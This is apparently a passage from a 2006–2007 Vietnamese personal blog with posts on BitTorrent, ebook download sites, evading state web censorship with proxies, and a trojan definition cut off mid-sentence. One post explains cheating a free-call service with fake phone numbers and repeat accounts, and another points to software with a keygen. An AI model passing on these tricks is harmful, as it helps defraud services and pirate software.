*Nếu bạn tiếp tục chạy phần mềm máy khách BitTorrent sau khi tải về thành công, các máy khác có thể nhận được tập tin .torrent từ máy của bạn; trong tương lai tốc độ tải về của bạn sẽ được cải thiện vì bạn được xếp bậc cao hơn trong hệ thống tit-for-tat.

Cách tải tập tin về với BitTorrent

Bằng cách tải nhiều phần cùng thời điểm, tốc độ tổng thể được cải thiện rất lớn. Càng nhiều máy trong swarm việc truyền tập tin xảy ra càng nhanh. Vì lý do này, BitTorrent đặc biệt hiệu quả đối với các tập tin lớn nhiều người quan tâm và truy cập. Để sử dụng BitTorrent bạn thực hiện các bước như sau:

*Tải về và cài phần mềm máy khách BitTorrent.
*Kiểm tra và cấu hình firewall và router.
*Tìm kiếm tập tin cần tải về.
*Tải về và mở tập tin con trỏ .torrent.
*Hãy để BitTorrent cho đi và nhận về từng phần của tập tin.
*Giữ lại tình trạng kết nối sau khi tải xong để chia sẻ tập tin .torrent với những người khác.

Tải phần mềm BitTorrent dùng cho máy khách (BitTorrent Client)

BitTorrent là phần mềm nguồn mở, do đó các nhà phát triển phần mềm có thể tạo ra nhiều phiên bản phần mềm BitTorrent cho họ, và bạn có thể chọn một trong số phần mềm cho máy khách để dùng. Bài này hướng dẫn bạn sử dụng phiên bản chính thức.

Truy cập www.bittorrent.com . Chọn liên kết tải phần mềm máy khách phù hợp hệ điều hành. Sau khi tải về, nhấn đôi icon trên desktop để cài đặt. Bạn có thể chọn ngôn ngữ tiếng Việt (chọn Vietnamese). Tiến trình cài đặt xảy ra rất nhanh và xuất hiện thông báo thành công. Kiểm tra và đặt thiết lập cho tường lửa.

Nếu bạn đã cài đặt firewall trên máy bạn cần cấu hình nó để BitTorrent có thể họat động được. BitTorrent sử dụng các cổng từ 6881 đến 6889 cho các giao tiếp của nó. Mặc định firewall đóng các cổng này nên bạn cần cấu hình firewall để mở cổng nếu bạn là người có kinh nghiệm. Nếu không bạn có thể tạm thời tắt firewall để sử dụng BitTorrent.


Tìm kiếm, tải về và mở tập tin torrent

Sau khi cài đặt xong, bạn đã sẵn sàng tải về các tập tin mà bạn mong muốn. Tuy nhiên khác với cách tải về trước đây, với BitTorrent đầu tiên bạn chỉ tải các tập tin có phần mở rộng .torrent, là tập tin con trỏ tương ứng với tập tin thực sự bạn muốn tải về.

Tìm kiếm: bạn có thể tìm kiếm bằng từ khóa “.torrent” để phát hiện các website cung cấp các tập tin dạng .torrent. Ví dụ: www.fulldls.com

Tải về tập tin dạng .torrent: tại website hỗ trợ bạn có thể thấy các liên kết .torrent hiện có, bạn muốn tải tập tin từ liên kết nào thì nhấn chọn vào liên kết đó và chỉ ra nơi lưu tập tin. Tập tin dạng .torrent là một con trỏ chỉ đến tập tin thực sự bạn cần tải về.

Mở tập tin .torrent: tiếp theo bạn nhấp đúp vào tập tin vừa tải về, cửa sổ làm việc của phần mềm máy khách BitTorrent xuất hiện và bắt đầu tiến trình tải tập tin thực sự về.

Như đã đề cập ở phần đầu, càng nhiều máy tính gửi/nhận trong swarm thì tiến trình xảy ra càng nhanh hơn. Nếu bạn đang tải một tập tin mà chỉ có một ít các máy tính trong swarm thì tốc độ truyền sẽ bị chậm.

Duy trì kết nối

Khi mà bạn đã có bản copy đầy đủ của tập tin, máy bạn trở thành một “hạt giống” tiềm tàng cho tập tin đó, miễn là bạn vẫn còn chạy phần mềm. Với BitTorrent, việc chia sẻ những gì bạn có sẽ làm cho tốc độ tải về của bạn trong tương lai nhanh hơn. Bạn có thể để phần mềm chạy trong vài giờ hoặc qua đêm. Khi không chia sẻ, bạn chỉ đơn giản đóng phần mềm lại.

linkpost comment

Sách online [Jan. 1st, 2007|01:37 am]
http://www.flazx.com
http://33367.com
http://eblist.bravehost.com/index.htm
http://www.zipsites.ru/books/edocs/edocs_list.php
http://www.maththinking.com/boat/booksIndex2.html
http://books.rackhub.com/location/
http://www.chmpdf.com/archives/ebooks/
http://www.ebooksclub.org/
http://www.tcfb.com/freetechbooks/bookjava.html
http://www.geocities.com/developergrp/freebooks.htm
http://www.jdance.com/freebooks.shtm
http://www.perryland.com/Java9.shtml
http://www.maththinking.com/boat/javaBooks.html
http://www.freeprogrammingresources.com/javabook.html
http://www.emoxie.com/readings/FreeJavaBooks.html
http://www.kickjava.com/freeBooks.html
http://www.javacommerce.com/books/FreeBookSource.html
http://www.syndik.at/harald/regal/buecher/library.asp
http://freebooks.by.ru/index.html
http://www.windowsitlibrary.com/Documents/Books.cfm
http://n3t.net/TheVault/
http://www.itcertifer.com/en/download/index.asp
http://www.reversing.net/books.html
http://chien.huyvq.net/forum/
http://www.ebooksportal.org
http://peter.ru.lv/ebooks.html
http://www.0585.ru/archives/learning/
http://www.chmpdf.com/archives/ebooks/
ftp://ftp.uar.net/pub/e-books/

Ai download được cuốn sách nào hay ho thì chia sẻ thông tin cho mọi người với nhé

linkpost comment

Tường lửa là gì? [Nov. 29th, 2006|11:19 pm]
Tường lửa là gì?

Tường lửa (firewall) là hệ thống phần cứng / phần mềm làm nhiệm vụ ngăn chặn các truy nhập "không mong muốn" từ bên ngoài vào hoặc từ bên trong ra. Tường lửa thường được đặt tại cổng ra / vào giữa hai hệ thống mạng, ví dụ giữa mạng trong nước Việt Nam và mạng quốc tế. Tường lửa thực hiện việc lọc bỏ những truy cập không hợp lệ dựa theo các quy tắc hay chỉ tiêu định trước, ví dụ:

+ Lọc theo địa chỉ IP: Mọi cố gắng truy cập tới địa chỉ IP của các trang http://www.vidu1.net , http://www.vidu2.org ... đều bị lọc bỏ và trả về thông báo "Page not found" hoặc "The page cannot be displayed".


+ Lọc theo ứng dụng: Mỗi ứng dụng có một cổng (port) riêng, có giá trị từ 0 tới 65535, cho việc truy cập, ví dụ dịch vụ web dùng cổng 80, dịch vụ email dùng cổng 125... Hiện nay ở Việt Nam chỉ có một số cổng ứng dụng chuẩn được mở. Mọi truy cập qua các cổng không tiêu chuẩn đều bị chặn.

Như vậy, để vượt tường lửa, chúng ta phải làm sao cho gói tin (packet) truy cập tới các trang web / dịch vụ "không được phép" trông giống như gói tin tới từ các trang web / dịch vụ "được phép".

Proxy là gì?

Theo định nghĩa đơn giản nhất, proxy là một máy tính trung gian, đứng phía ngoài tường lửa, giúp lấy tin từ các trang web "không được phép" theo yêu cầu và gửi tới người đọc phía sau tường lửa. Nếu địa chỉ IP và cổng mà proxy dùng để gửi thông tin không nằm trong danh sách bị ngăn cản (block) của tường lửa, người đọc sẽ nhận được thông tin, hay nói cách khác là vượt tường lửa thành công.

Các phương pháp vượt tường lửa:

1/ Sử dụng proxy server: Trong các trình duyệt đều có chức năng thiết lập proxy. Ví dụ với Internet Explore:

Bước 1: Chọn Tool > Internet Options > Connections > LAN settings

Bước 2: Gõ vào ô 'Address' địa chỉ của proxy server muốn dùng và ở ô 'Port' gõ giá trị cổng của proxy server.

Bước 3: Nhấn OK và thử vào các trang web "bị ngăn cản". Nếu proxy server của bạn hoạt động và không bị chặn, bạn sẽ thấy nội dung của các trang web kia.

Có rất nhiều proxy server miễn phí trên mạng. Các bạn có thể tìm danh sách này bằng Google với từ khóa "free proxy". Các proxy server được viết dưới dạng:

customer-148-223-48-114.uninet.net.mx:80

hoặc

163.24.133.117:80

Trong đó phần trước dấu ":" là địa chỉ, và phần sau đó là cổng. Nên chọn các proxy có cổng "tiêu chuẩn" (ví dụ cổng 80) vì các cổng "không tiêu chuẩn" (ví dụ 3128 hay 8080) có thể bị chặn bởi tường lửa ở Việt Nam.

2/ Sử dụng web proxy: Có một số trang web cho phép bạn đánh vào địa chỉ web mà mình muốn xem, và trang web đó sẽ đem nội dung về cho bạn. Thuận lợi khi dùng trang web kiểu này là bạn không phải mất công đặt proxy setting như ở cách thứ nhất (ví dụ khi ra hàng internet người ta không cho phép thay đổi setting).

Có thể tìm ra các trang web kiểu này trên Google với từ khóa "free surf anonymous". Một trang tiêu biểu dạng này là:

http://www.the-cloak.com

Tuy nhiên rất có thể trang này cũng đã bị đặt vào danh mục cấm của Việt Nam :sad:

3/ Sử dụng các trang web cá nhân: Nếu bạn có bạn bè hay người thân ở nước ngoài, những người này có thể thiết lập các trang web cá nhân có gắn nội dung các trang "bị ngăn cản" theo kiểu Inline frame. Như vậy, bạn có thể đọc trang web cấm bằng cách tới xem các trang web cá nhân của bạn bè hay người thân của mình ở nước ngoài.

Ví dụ, các bạn trong nước có thể thử đọc bài từ Mạng Ý kiến ở đây:

http://www.vidu.dk/files/misc/ykien.html

Mã HTML để thực hiện điều này ở đây:

[color]http://www.vidu.dk/files/misc/ykien.html[/color]

Hãy xóa đuôi txt và upload lên trang web của mình ở nước ngoài, thay địa chỉ "http://vidu.net" bằng địa chỉ trang web mà bạn muốn hiển thị.

Phương pháp này có nhược điểm là trình duyệt của người xem phải hỗ trợ Inline Frame. Tuy nhiên Internet Explorer và Firefox đều hỗ trợ tính năng này.

4/ Vượt tường lửa bằng công cụ của Google: Google cung cấp phương tiện chuyển ngữ trang Web (Translation service), rất tiện cho việc vượt tường lửa. Chỉ cần thay địa chỉ trang cần tới vào địa chỉ "x-cafe.dk" ở dòng lệnh dưới đây, các bạn có thể xem trang web đó dù nó đã bị firewall:

Code: http://www.google.com/translate?langpair=e...p;u=www.vidu.dk


Nên dùng proxy lấy ở đây :

http://www.proxy4free.com/index.html

Hoặc vào trang này http://anonymouse.org/anonwww.html
Lấy phần mềm này: http://anon.inf.tu-dresden.de/index_en.html khi dùng thì mở trương trình đó lên trước sau đó trong IE chẳng hạn : Chọn Tool > Internet Options > Connections > LAN settings . Address gõ 127.0.0.1 port là 4001 . Cái này free mà chạy rất nhanh , một sản phẩm của Đức dành cho các bạn VN , nếu ai không dành cứ hỏi tui hoặc vào trang web (ở trên ) đó nó nói rất cụ thể . cái này dịch vụ intrenet mà dùng thì quá ngon .



Hide.IP.Platinum.v2.7

Lấy phần mềm Hide .IP.platinum 1.73 này dùng :
download , có cả keygen kèm theo
http://www.hide-ip-soft.com/


Phần 2 - Để vượt bức tường lửa.

Có một số cách để vượt khỏi bức tường lửa của Việt Nam. Đa số các cách nằm trong bốn loại sau đây : 1) giấu tung tích của địa chỉ, 2) dùng những trang đã được lưu trữ sẵn, 3) dùng máy điện toán của người khác làm điểm truy cập thay vì điểm proxy của Hà Nội, và loại chót, 4) dùng dịch vụ của công ty chuyển thư WebMailer.

Tóm tắt những cách vượt bức tường lửa:

Giấu tung tích của địa chỉ muốn tới

Đây là cách nhanh nhất để truy cập những trang bị cấm. Có nhiều trang trên mạng internet giúp chúng ta giấu địa chỉ truy cập để qua mắt được Hà Nội. Giả thử bạn muốn truy cập trang nào đó, bạn sẽ chẳng thấy gì trên màn hình bởi trang này bị bức tường lửa chặn. Nhưng khi muốn giấu tung tích của nơi bạn muốn tới, trang www.anonymizer.com sẽ giúp bạn. Từ ngay trong trang www.anonymizer.com, bạn có thể đánh vào địa chỉ trang www của minh muốn tới để giấu tung tích. Khi địa chỉ www đó đã bị dấu, điểm proxy ở Hà Nội sẽ không chặn được.

Nhưng, bạn có thấy một điểm nhỏ cần chú ý không? Người ta cũng có thể chặn không cho chúng ta truy cập www.anonymizer.com. Họ có thể cho www.anonymizer.com vào danh sách đen, vì vậy, không thể truy cập trang internet này ở Việt Nam nữa. Sau đây là danh sách của một số trang internet cũng có chức năng giống như www.anonymizer.com. Một số đã bị vô sổ đen của họ:
http://www.anonymizer.com , http://www.phantomip.com, https://proxy1.autistici.org/, http://www.the-cloak.com/login.html, http://www.guardster.com/

Ngoài những trang này ra, bạn có thể vào trang www.google.com và đánh vào chữ web anonymizer hoặc web mailers để tìm thêm những trang tương tự. Mong bạn có thể tìm thấy những trang chưa hân hạnh được liệt vào sổ đen bức tường lửa của nhà nước.

Dùng những trang đã được lưu trữ sẵn


Những trang được lưu trữ cũng giống như một cuốn sách lịch sử. Dịch vụ lưu trữ những trang internet được miễn phí tại các địa chỉ sau đây: www.archive.orgwww.google.com. Cũng giống như phần trên, khi bạn truy cập www.archive.org, bức tường lửa sẽ không biết bạn đang truy cập những gì. www.archive.org rất dễ xài, bạn chỉ việc vào đó và đánh tên địa chỉ mình muốn tới, bạn sẽ thấy trang www đó được lưu trữ. Dịch vụ lưu trữ này thường không cho ta thấy trang internet trực tiếp nhưng cho ta thấy trang này trong tình trạng được lưu trữ, có thể đã cũ một vài tuần hoặc vài tháng. Còn www.google.com thì cũng một phần tương tự. Google cũng lưu trữ toàn thể các trang của internet. Thí dụ để coi trang www nào đó, bạn truy cập trang www.google.com và đánh địa chỉ www mình muốn, Google sẽ hiện ra những gì kiếm được, bạn chỉ bấm vô "Show Google's cache of www của mình" thì sẽ thấy được trang lưu trữ cách đây vài tháng.

Dùng máy điện toán khác để tránh điểm proxy của Hà Nội

Bây giờ bạn hãy tưởng tượng nếu chúng ta dùng một loại kỹ thuật mới tránh né proxy của Hà Nội. Điều gì sẽ xảy ra nếu chúng ta nối cả triệu máy điện toán cá nhân trên thế giới lại? Câu trả lời như sau: Nối hàng triệu máy điện toán cá nhân của tất cả thế giới tự do là mục đích của hai chương trình Peekabooty và Six/Four . Khi bạn ra lệnh truy cập www của mình, thì điểm proxy của Hà Nội sẽ phải gửi lệnh tới một trong hàng triệu máy điện toán cá nhân. Một máy cá nhân này sẽ lập tức giúp và gửi lệnh cho bạn xem nội dung của www của mình đó. Proxy của Hà Nội sẽ tưởng rằng địa chỉ của máy cá nhân này là địa chỉ vô hại. Đây là điều rất khó cấm đoán. Thứ nhất, đây là tập hợp của hàng triệu máy điện toán và địa chỉ của mỗi máy (IP address) đổi từng giây từng phút, không thể kiểm soát nổi. Thứ hai, cả triệu máy điện toán được tập hợp của toàn thế giới, VN sẽ phải bó tay vì không thể biết hết ai là ai. Vấn đề này y hệt như những gì đã sảy ra cho kỹ nghệ âm nhạc và phim của Hoa Kỳ, khi các chương trình nổi tiếng như Napster, Kazaar, AudioGalaxy, Morpheus, và iMesh đã dùng hàng triệu máy trên thế giới để trao đổi dữ liệu nhạc và phim. Hai chương trình Peekabooty ( www.peek-a-booty.org ) và Six/Four ( www.hacktivismo.com ) đã được ra đời trong năm 2002. Bạn hãy theo dõi và thu thập.

Trang internet nằm trong Thư Điện Tử - Webmailer

Kỹ thuật thư điện tử này rất khác với 3 cách trên. Thư điện tử sẽ giúp bạn coi trang internet bị cấm trong thư email của bạn. Dùng một địa chỉ điện thư miễn phí như Yahoo hoặc Hotmail, bạn ghi địa chỉ muốn coi vô phần Subject: và gửi tới một địa chỉ dịch vụ internet miễn phí www.web2mail.com. Sau đó, dịch vụ này sẽ gửi trang internet mà bạn muốn coi tới hộp thư điện tử của bạn. Người khác không thể kiểm soát nổi cách này vì không thể nào chặn được hộp thư miễn phí của Yahoo hoặc Hotmail. Với dịch vụ này, bảo đảm bạn sẽ được coi các trang bị bức tường lửa cấm, nhưng bạn phải kiên nhẫn đợi cho dịch vụ gửi lại trang internet, có thể đợi 10 phút hoặc một ngày sau.
_________________
Những mánh khoé sử dụng Internet!!!

Vì vậy, các bạn nên dùng địa chỉ như Hotmail hoặc Yahoo. Vì không ai có thể chặn những dịch vụ hộp thư điện tử miễn phí này (thư của bạn có thể bị người khác mở ra đọc). Khi tôi sử dụng Yahoo hoặc Hotmail, người khác không đọc được hộp thư của tôi? Sai, tất cả giao thông của xa lộ internet vào Việt Nam phải qua cổng Hà Nội. Yahoo và Hotmail không mã hóa làn thông tin email. Vì vậy có người có thể mở thấy được thư của bạn. Để an toàn, bạn có thể làm một hộp thư dùng riêng nhưng không có tin tức thật về bạn.

Như vậy có cách nào để không ai đọc được thư điện tử của tôi không?

Nếu bạn không muốn ai đọc email của bạn, bạn hãy sử dụng kỹ thuật mã hóa gọi là encryption. PGP Encryption ( www.pgpi.org ) sẽ giúp bạn sử dụng kỹ thuật này nếu xài đúng cách. Nhưng trang internet này cũng hơi khó sử dụng. Cho nên cách thứ 2 là tới trang www.hushmail.com để đăng ký sử dụng. Cách này an toàn khi cả hai, người gửi lẫn người nhận, đều dùng www.hushmail.com.

Làm sao đây? Tôi muốn tẩy xóa dấu vết của tôi sau khi xài internet tại quán café? Đúng vậy, bạn có thể tẩy xóa dấu vết của bạn khi đã xài internet khi bạn dùng Internet Explorer. Để cho người quản lý khỏi được quyền quản lí quyền tự do của bạn, hãy bấm vô chữ Tools / Internet Options. Bấm vô nút "Delete all offline content" và sau đó, "Delete Files", rồi "OK". Nếu thấy nút "Delete Cookies" hãy bấm vô nút đó luôn. Sau đó, bấm vô "Settings" rồi bấm vô "View Files". Nếu mà còn một số file trong đây, bạn bấm Ctrl-A để chọn tất cả rồi bấm nút Delete trên bàn phím. Như vậy bạn đã xóa đi rất nhiều vết chân lang thang trên internet. Cho chắc ăn, bạn cũng có thể bấm nút "Clear History" và bấm "OK". Bây giờ, bấm vô nút "Content" và sau đó vô nút "AutoComplete". Sau đó bấm vô nút "Clear Forms" và "Clear Passwords" để xóa tất cả mọi ô mật mã. Chúc may mắn.

Còn tự gửi địa chỉ của những trang internet bị cấm đến với hộp thư Yahoo hoặc Hotmail của chính tôi. Làm như vậy thì lệnh truy cập của tôi qua Yahoo hoặc Hotmail chứ không phải proxy Hà Nội phải không? Sai. Nhưng đây là ý rất hay. Khi tác giả thử phương pháp này tại Việt Nam, phương pháp đã không hiệu nghiệm. Lý do là sao? Bởi vì proxy Hà Nội cũng có thể đánh hơi được nội dung của trang internet và bức tường lửa sẽ hoạt động trở lại.

Khi dùng những chương trình chat như AOL Instant Messeger (AIM) hoặc mIRC, nhà nước không kiểm soát nổi? Sai. Nhà nước không có chặn khi bạn chat, nhưng có thể thấy những gì bạn viết.

Nhiều quán internet café dựng nên một trang chính giúp bạn truy cập những trang như Hotmail và Yahoo cho nhanh chóng. Nguy hiểm không? Vấn đề là, những trang chính có thể giữ lại tên và mật mã của bạn, nên họ có thể vô lại hộp thư điện tử của bạn. Nên coi chừng.

Và đây là 1 số giải pháp của Vidu giúp bạn đọc trong nước vượt tường lửa: sử dụng kỹ thuật RSS (Really Simple Syndication), một kỹ thuật trao đổi thông tin nhanh trên Internet, với địa chỉ có nhúng sẳn địa chỉ của những proxy mới. Sau đó nối RSS vào Google, Yahoo, hay bất cứ một trang web có dịch vụ đọc tin RSS nào. Trách nhiệm tìm kiếm proxy sẽ thuộc về Vidu. Bạn đọc vào Google, Yahoo để đọc trang web Vidu.

1. Với Google

Gõ, hoặc cát dán, vào duyệt trình IE địa chỉ sau:

code: http://Vidu.com/rss" target="_blank">http://www.google.com/reader/preview/*/fee...://Vidu.com/rss</a>

Trên duyệt trình IE, bạn đọc sẽ thấy hiện lên một mục lục của những bài viết mới nhất trên DCVOnline. Khi bấm lên những tựa đề trong mục lục này, bạn đọc sẽ tự động được dẫn đến trang web qua một proxy đã nhúng sẵn trong các links.



2. Với Yahoo

Tương tự, gõ, hoặc cắt dán, vào duyệt trình IE địa chỉ:

Code:http://add.my.yahoo.com/rss?url=http://Vidu.com/rss



3. Ngoài ra, bạn đọc có thể dùng địa chỉ RSS của Vidu, http://vidu.com/rss, với các trang web có dịch vụ đọc tin RSS thông dụng như MSN ( www.msn.com ), Bloglines ( www.bloglines.com ), v.v…

Các proxy có thể bị tường lửa ngăn chặn và phải thay đổi nhưng các địa chỉ đến Vidu qua Google hoặc Yahoo ở trên sẽ không thay đổi. Điều bất tiện còn lại là bạn đọc phải “thuộc lòng” các địa chỉ này. Cách tiện lợi nhất để ghi nhớ các địa chỉ này là bằng cách bấm lên “Favorites”, “Add to Favorites” trên IE để đưa các địa chỉ này vào danh sách những website ưa thích của mình.


nay em xin trình bày một phương pháp vượt tường lửa nhanh, rẻ và an toàn mà em vẫn thường sử dụng. Nhanh vì không phải cấu hình lằng nhằng, rẻ vì miễn phí, an toàn vì có mã hoá: đó là proxy https.
đây là một số Https ổn định nhất, nếu trong khi dùng mà bị gián đoạn thì chuyển sang cái tiếp theo, nhưng nói chung trường hợp này hãn hữu:

https://tong.ziyoulonglive.com/dmirror/
https://www.bejing163.com/dmirror/
https://w8.coopsdomain.com/dmirror/

Còn đây là một số proxy vét đĩa:

https://www1.chao168.com/dmirror/
https://w8.db-systems.nl/dmirror/
https://w8.ccnwebsite.com/dmirror/
https://u1.horizonnewspaper.com/dmirror/
https://u1.craigsmusichut.com/dmirror/
https://www1.way2005.org/dmirror/
https://www1.yun2005.net/dmirror/
https://w8.clasa.net/dmirror/
https://w8.coteyr.net/dmirror/
https://u1.seeneed.com/dmirror/
https://w8.clell.com/dmirror/
https://w8.chickenkiller.com/dmirror/

Bi giờ em thí dụ là trang www.vidu.net bị firewall chẳng hạn, các bác lưu ý: địa chỉ đầy đủ của nó là http://www.vidu.net nhá

Muốn xem trang đó thì chỉ cần:
-Chọn lấy một proxy, vd https://tong.ziyoulonglive.com/dmirror/
-Thay http:// thành http/ để http://www.vidu.net biến thành http/www.vidu.net
-Dán vào proxy, trở thành Code: https://tong.ziyoulonglive.com/dmirr...p/www.vidu.net
-Chép lên thanh address, gõ Enter, OK 2 lần.
-Xong.

Nếu các bác muốn download một file nào đó từ trang web ykien.net chẳng hạn như file Code: https://tong.ziyoulonglive.com/dmirror/http...idu.net/abc.zip chẳng hạn, thì phải

-Một là biến cái dòng loằng ngoằng trên thành địa chỉ thật của nó là http://www.vidu.net/abc.zip , sau đó dùng Flashget tải về.
-->Tuy nhiên, trong một số trường hợp, tường lửa mạnh đến nỗi có thể chặn được cả quy trình tải file, các bác sẽ 0 tải được gì.
-Lúc đó thì phải:
+Download chương trình NETTransport từ www.xi-soft.com
+Cài đặt.
+Dùng nó mà tải về.
Em cũng khuyến cáo các bác dùng Net Trans thay cho FlashGet vì nó hỗ trợ tất tần tật từ HTTP, HTTPS, FPT cho đến NMN, RTSP (của file REAL), trong khi FG chỉ hỗ trợ mỗi HTTP; NET Trans cũng có chế độ chia mảnh như Flashget, tối đa 10 mảnh, tốc độ nhanh hơn flashget.
Dùng NET trans có thể tải được cả file REAL, bình thường thì các bác phải nghe trực tuyến, phải không ạ? Bây giờ chỉ mất 5 phút là các bác đã có thể ôm trọn bộ BBC, VOA mang về nhà nghe cho đỡ tốn.
Cách làm như sau: Mở NETTrans, bấn phím Insert, lần lượt tải những file sau đây:

Code: http://www.voanews.com/real/voa/eap/viet/viet2230a.ram
http://www.voanews.com/real/voa/eap/viet/viet1500a.ram
http://www.voanews.com/real/voa/eap/viet/viet1300a.ram
http://www.bbc.co.uk/vietnamese/meta/tx/nb...t2300_au_nb.ram
http://www.bbc.co.uk/vietnamese/meta/tx/nb...t1430_au_nb.ram

Sau khi tải về sẽ được 10 file trong đó có 5 file đuôi RAM, dung lượng 1kb, xoá đi, còn lại 5 file đuôi RM thì dùng REAL hay Media Player Classic để nghe.

Tí nữa thì quên: Dùng proxy HTTPS rất an toàn vì được mã hoá, ngoại trừ máy của chính các bác ra không có máy nào đọc được, các bác cảnh nhà ta sẽ không làm gì nổi. Hè hè.

Các bác nếu dùng email thì nên chọn gmail vì có chế độ bảo mật SSL, dùng Thunderbird Portable tải về đọc tại gia, nếu cẩn thận hơn nữa thì kiếm cái Hide IP Platinum giấu địa chỉ IP của mình đi cho ăn chắc.

_________________
dùng 3 thằng proxy này, trang nào cũng vào được, kể cả trang không tường lửa :chienthang:

1. http://www.unipeak.net

2. http://www.shadowbrowser.com/?pin=trial

3. Tên trang này kêu nhất (Cô che mông tôi đi!)
http://www.hidemyass.com/
__________________

linkpost comment

CẤU TRÚC DỮ LIỆU [Nov. 28th, 2006|08:15 pm]

CẤU TRÚC DỮ LIỆU


 ĐỀ CƯƠNG CHI TIẾT

CHƯƠNG 1 CÁC KHÁI NIỆM CƠ BẢN
CHƯƠNG 2 CÁC KIỂU DỮ LIỆU TRỪU TƯỢNG CƠ BẢN
CHƯƠNG 3 CẤU TRÚC CÂY
CHƯƠNG 4 KIỂU DỮ LIỆU TẬP HỢP
CHƯƠNG 5 ĐỒ THỊ
BÀI TẬP CÁC BÀI TẬP THỰC HÀNH
GIẢI BÀI TẬP GIẢI CÁC BÀI TẬP THỰC HÀNH

linkpost comment

Goi dien thoai mien phi quoc te va noi dia!!!!! [Nov. 26th, 2006|02:30 am]
Goi dien thoai mien phi quoc te va noi dia!!!!!

Wednesday, 3. May 2006, 02:21:04
:smile:Gọi điện thoại quốc tế không tốn tiền

Hiện nay, gọi điện thoại quốc tế là nhu cầu rất cần thiết. Thông thường để gọi quốc tế với giá rẻ, chúng ta sử dụng dịch vụ internet phone.
Nhưng bạn có biết trên internet cũng có những dịch vụ gọi điện thoại quốc tế miễn phí mà không cần phải mua thẻ?
Tất nhiên là số phút cho phép gọi không được “thoải mái” như dịch vụ có phí, tuy nhiên nó rất thích hợp khi bạn chỉ cần gọi dăm ba phút hỏi thăm người thân, bạn bè.
Mino là một trong những dịch vụ gọi điện miễn phí mà chúng tôi muốn đề cập ở đây. Khi đăng ký một tài khoản tại Mino, bạn sẽ được tặng 0.5 USD để gọi điện. Có thể bạn cho rằng 0.5 USD là quá ít để thực hiện cuộc gọi? Nhưng bạn yên tâm, cước phí một phút gọi tại Mino chỉ có vài cent, tùy quốc gia gọi đến và tùy nơi gọi đi. Khi bạn giới thiệu cho người khác dịch vụ Mino, bạn sẽ được tặng tiền để tiếp tục gọi miễn phí. Và còn rất nhiều cách để gọi điện thoại miễn phí dài dài...
Trước tiên bạn truy cập vào địa chỉ [http://www.minowireless.com/mino/register.htm?pc=REF17584
Bạn lần lượt điền các thông tin cá nhân của mình vào như: họ tên (First Name, Last Name), địa chỉ e-mail của bạn (UserID), mật khẩu (Password), quốc gia (Country/Region), số điện thoại di động (Mobile Phone number)... Kinh nghiệm cho thấy, nhằm “qua mặt” Mino (một người có thể đăng ký nhiều tài khoản gọi miễn phí), bạn nên điền số điện thoại “giả” vào mục Mobile Phone number, nhưng địa chỉ e-mail phải là e-mail bạn sử dụng được để kích hoạt tài khoản. Cuối cùng đánh dấu check vào mục “I have read and agree with the Terms of Service” và nhấn Next (H.1).


H.1

Màn hình kế sẽ cho bạn xem lại thông tin đăng ký. Tại mục “Please input verification Code”, bạn nhập chính xác các ký tự mình thấy bên cạnh. Nhấn Submit (H.2).
Sau đó bạn mở hộp thư đã khai báo ở trên để nhận thư của Mino. Trong thư có đường link cho phép bạn kích hoạt tài khoản. Hãy nhấp chuột vào đó, trong trang mới xuất hiện bạn nhập mật khẩu vào và nhấn Submit.
Trang Registration Successful xuất hiện chúc mừng bạn đã đăng ký thành công. Có hai cách gọi điện là gọi trung gian từ máy tính và gọi trực tiếp trên điện thoại di động. Tuy nhiên cách gọi trực tiếp trên di động khó xài vì bạn phải tải và cài đặt chương trình Mino vào chiếc điện thoại của mình. Cách gọi điện thông qua máy tính đơn giản hơn nhiều, bạn hãy nhấn vào mục Make a MINO call Now để đăng nhập vào tài khoản của mình.


H.2

Trang gọi điện Make Call xuất hiện, bạn nhập số điện thoại di động của mình vào mục Call From. Bạn cần phải nhập chính xác số điện thoại của bạn (không phải số điện thoại “giả” đã đăng ký ban đầu) theo mẫu: Mã quốc gia + số điện thoại di động (bỏ số 0 ở đầu). Ví dụ số điện thoại của bạn là 0909123456 thì bạn nhập vào 84909123456. Tại mục Call To, bạn nhập vào số điện thoại cần gọi đến theo mẫu: Mã quốc gia + Mã vùng + Số điện thoại. Nhấn nút Call Now.
Đợi khoảng vài giây, máy điện thoại di động của bạn sẽ đổ chuông, sau khi nhấc máy lên bạn sẽ nghe một câu tiếng Anh, và kế đến là tiếng đổ chuông ở đầu dây bên kia. Khi đầu dây bên kia nhấc máy là lúc bạn có thể đàm thoại như đang gọi một cuộc điện thoại đường dài trên chính chiếc máy di động của bạn. Bạn hãy tranh thủ trò chuyện thật nhanh vì bạn chỉ có 0.5 USD trong tài khoản và khi gọi hết số tiền này, cuộc gọi sẽ tự động ngắt. Để xem cước phí cuộc gọi đối với từng vùng, bạn nhấn chuột vào mục Rates (H.3).


H.3

Khi tài khoản của bạn đã hết tiền, bạn hãy giới thiệu người khác đăng ký sử dụng dịch vụ Mino, bạn sẽ có thêm 0.25 USD để gọi điện. Trong trang quản lý tài khoản, bạn nhấn chọn mục Refer-a-Friend. Kế đến nhập địa chỉ e-mail của người bạn mình vào mục E-mail Address và nhấn Submit để gửi đi. Ngay sau khi bạn của bạn đăng ký Mino, tài khoản của bạn sẽ được tăng thêm tiền (H.4).


H.4

Một cách khác để tiếp tục gọi điện thoại miễn phí khi hết tiền là đăng ký một tài khoản mới. Mino chỉ cho phép mỗi số điện thoại và mỗi địa chỉ e-mail đăng ký một lần. Tuy nhiên điều đó không có gì là trở ngại. E-mail miễn phí có rất nhiều trên internet, và chỉ trong 2 phút bạn có thể đăng ký được một địa chỉ e-mail mới kia mà! Còn số điện thoại khi đăng ký bạn có thể “sáng tác” bất cứ số nào vì Mino không thể kiểm tra được. Vậy là bạn có thể sử dụng dịch vụ gọi điện thoại quốc tế không mất tiền dài dài rồi nhé!
Lưu ý, bạn chỉ phải tốn cước internet khi đăng ký và đăng nhập vào tài khoản. Còn trong suốt thời gian thực hiện cuộc gọi bạn không phải tốn một đồng xu nào!

linkpost comment

Khái niêm cơ bản về trojan [Nov. 26th, 2006|02:21 am]
1.Khái niêm cơ bản về trojan
Trojan là 1 chương trình được các lập trình viên viết ra với một mục đích nhất định nào đó tuy nhiên nhiệm vụ chủ yếu là đột nhập vào máy tính hay một hệ thống máy tính với nhiệm vụ chủ yếu là mở 1 cổng cho client kết nối tới
Một chuong trình bất hợp pháp duợc chứa bên trong một chuong trình hợp pháp. Chuong trình không hợp pháp này thực hiện những hàm bí mật mà nguời dùng không biết hay không cần dến. Về chức nang của trojan,
